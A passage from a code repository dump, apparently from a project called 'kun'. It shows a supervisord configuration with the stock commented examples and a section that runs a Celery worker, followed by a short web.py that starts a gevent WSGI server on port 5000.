unix_http_server 54 | ; or inet_http_server section. 55 | 56 | [supervisorctl] 57 | serverurl=unix:///tmp/supervisor.sock ; use a unix:// URL for a unix socket 58 | ;serverurl=http://127.0.0.1:9001 ; use an http:// url to specify an inet socket 59 | ;username=chris ; should be same as in [*_http_server] if set 60 | ;password=123 ; should be same as in [*_http_server] if set 61 | ;prompt=mysupervisor ; cmd line prompt (default "supervisor") 62 | ;history_file=~/.sc_history ; use readline history if available 63 | 64 | ; The sample program section below shows all possible program subsection values. 65 | ; Create one or more 'real' program: sections to be able to control them under 66 | ; supervisor. 67 | 68 | ;[program:theprogramname] 69 | ;command=/bin/cat ; the program (relative uses PATH, can take args) 70 | ;process_name=%(program_name)s ; process_name expr (default %(program_name)s) 71 | ;numprocs=1 ; number of processes copies to start (def 1) 72 | ;directory=/tmp ; directory to cwd to before exec (def no cwd) 73 | ;umask=022 ; umask for process (default None) 74 | ;priority=999 ; the relative start priority (default 999) 75 | ;autostart=true ; start at supervisord start (default: true) 76 | ;startsecs=1 ; # of secs prog must stay up to be running (def. 1) 77 | ;startretries=3 ; max # of serial start failures when starting (default 3) 78 | ;autorestart=unexpected ; when to restart if exited after running (def: unexpected) 79 | ;exitcodes=0,2 ; 'expected' exit codes used with autorestart (default 0,2) 80 | ;stopsignal=QUIT ; signal used to kill process (default TERM) 81 | ;stopwaitsecs=10 ; max num secs to wait b4 SIGKILL (default 10) 82 | ;stopasgroup=false ; send stop signal to the UNIX process group (default false) 83 | ;killasgroup=false ; SIGKILL the UNIX process group (def false) 84 | ;user=chrism ; setuid to this UNIX account to run the program 85 | ;redirect_stderr=true ; redirect proc stderr to stdout (default false) 86 | ;stdout_logfile=/a/path ; stdout log path, NONE for none; default AUTO 87 | ;stdout_logfile_maxbytes=1MB ; max # logfile bytes b4 rotation (default 50MB) 88 | ;stdout_logfile_backups=10 ; # of stdout logfile backups (0 means none, default 10) 89 | ;stdout_capture_maxbytes=1MB ; number of bytes in 'capturemode' (default 0) 90 | ;stdout_events_enabled=false ; emit events on stdout writes (default false) 91 | ;stderr_logfile=/a/path ; stderr log path, NONE for none; default AUTO 92 | ;stderr_logfile_maxbytes=1MB ; max # logfile bytes b4 rotation (default 50MB) 93 | ;stderr_logfile_backups=10 ; # of stderr logfile backups (0 means none, default 10) 94 | ;stderr_capture_maxbytes=1MB ; number of bytes in 'capturemode' (default 0) 95 | ;stderr_events_enabled=false ; emit events on stderr writes (default false) 96 | ;environment=A="1",B="2" ; process environment additions (def no adds) 97 | ;serverurl=AUTO ; override serverurl computation (childutils) 98 | 99 | ; The sample eventlistener section below shows all possible eventlistener 100 | ; subsection values. Create one or more 'real' eventlistener: sections to be 101 | ; able to handle event notifications sent by supervisord. 102 | 103 | ;[eventlistener:theeventlistenername] 104 | ;command=/bin/eventlistener ; the program (relative uses PATH, can take args) 105 | ;process_name=%(program_name)s ; process_name expr (default %(program_name)s) 106 | ;numprocs=1 ; number of processes copies to start (def 1) 107 | ;events=EVENT ; event notif. types to subscribe to (req'd) 108 | ;buffer_size=10 ; event buffer queue size (default 10) 109 | ;directory=/tmp ; directory to cwd to before exec (def no cwd) 110 | ;umask=022 ; umask for process (default None) 111 | ;priority=-1 ; the relative start priority (default -1) 112 | ;autostart=true ; start at supervisord start (default: true) 113 | ;startsecs=1 ; # of secs prog must stay up to be running (def. 1) 114 | ;startretries=3 ; max # of serial start failures when starting (default 3) 115 | ;autorestart=unexpected ; autorestart if exited after running (def: unexpected) 116 | ;exitcodes=0,2 ; 'expected' exit codes used with autorestart (default 0,2) 117 | ;stopsignal=QUIT ; signal used to kill process (default TERM) 118 | ;stopwaitsecs=10 ; max num secs to wait b4 SIGKILL (default 10) 119 | ;stopasgroup=false ; send stop signal to the UNIX process group (default false) 120 | ;killasgroup=false ; SIGKILL the UNIX process group (def false) 121 | ;user=chrism ; setuid to this UNIX account to run the program 122 | ;redirect_stderr=false ; redirect_stderr=true is not allowed for eventlisteners 123 | ;stdout_logfile=/a/path ; stdout log path, NONE for none; default AUTO 124 | ;stdout_logfile_maxbytes=1MB ; max # logfile bytes b4 rotation (default 50MB) 125 | ;stdout_logfile_backups=10 ; # of stdout logfile backups (0 means none, default 10) 126 | ;stdout_events_enabled=false ; emit events on stdout writes (default false) 127 | ;stderr_logfile=/a/path ; stderr log path, NONE for none; default AUTO 128 | ;stderr_logfile_maxbytes=1MB ; max # logfile bytes b4 rotation (default 50MB) 129 | ;stderr_logfile_backups=10 ; # of stderr logfile backups (0 means none, default 10) 130 | ;stderr_events_enabled=false ; emit events on stderr writes (default false) 131 | ;environment=A="1",B="2" ; process environment additions 132 | ;serverurl=AUTO ; override serverurl computation (childutils) 133 | 134 | ; The sample group section below shows all possible group values. Create one 135 | ; or more 'real' group: sections to create "heterogeneous" process groups. 136 | 137 | ;[group:thegroupname] 138 | ;programs=progname1,progname2 ; each refers to 'x' in [program:x] definitions 139 | ;priority=999 ; the relative start priority (default 999) 140 | 141 | ; The [include] section can just contain the "files" setting. This 142 | ; setting can list multiple files (separated by whitespace or 143 | ; newlines). It can also contain wildcards. The filenames are 144 | ; interpreted as relative to this file. Included files *cannot* 145 | ; include files themselves. 146 | 147 | ;[include] 148 | ;files = relative/directory/*.ini 149 | 150 | [program:kun] 151 | environment=PYTHONOPTIMIZE=1 152 | command=celery worker -A app.celery_worker.celery -l INFO 153 | directory=/home/ubuntu/kun 154 | 155 | numprocs=1 156 | stdout_logfile=/home/ubuntu/kun/celeryworker.log 157 | stderr_logfile=/home/ubuntu/kun/celeryworker.log 158 | autostart=true 159 | autorestart=true 160 | startsecs=10 161 | stopwaitsecs = 600 162 | priority=15 163 | -------------------------------------------------------------------------------- /web.py: -------------------------------------------------------------------------------- 1 | from gevent.wsgi import WSGIServer 2 | from app import CreateApp 3 | 4 | app = CreateApp() 5 | 6 | if __name__ == '__main__': 7 | #app.run(host = '0.0.0.0',port = 8000,debug=True) 8 | http_server = WSGIServer(('', 5000), app) 9 | http_server.serve_forever() --------------------------------------------------------------------------------